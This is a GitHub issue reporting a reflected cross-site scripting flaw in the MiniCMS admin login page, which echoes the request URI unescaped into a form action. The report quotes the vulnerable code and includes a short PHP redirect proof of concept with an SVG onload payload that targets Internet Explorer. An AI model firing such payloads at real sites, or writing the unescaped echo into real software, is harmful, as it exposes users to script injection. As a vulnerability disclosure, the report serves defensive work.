Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
This is a reflective XSS vulnerability because "echo $_SERVER['REQUEST_URI'];" in 39 line
index.php
<body> <form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post"> <div id="login_title">MiniCMS</div> <div id="login_form"> <div id="login_form_box"> <div class="label">帐号</div> <div class="textbox"><input name="user" type="text" /></div> <div class="label">密码</div> <div class="textbox"><input name="pass" type="password" /></div> <div class="bottom"><input name="login" type="submit" value="登录" class="button" /></div> </div> </div> </form> </body>
In Firefox and chrome, URL will be URLencoded. In IE, if has Redirection,URL will not be URLencoded. IE exp: exp.php
<?php header("Location: http://example.org/mc-admin/index.php?123=\"><svg/onload=alert(document.domain)>");
The text was updated successfully, but these errors were encountered:
f8fc729
No branches or pull requests
This is a reflective XSS vulnerability because "echo $_SERVER['REQUEST_URI'];" in 39 line
index.php
In Firefox and chrome, URL will be URLencoded.
In IE, if has Redirection,URL will not be URLencoded.
IE exp: exp.php
The text was updated successfully, but these errors were encountered: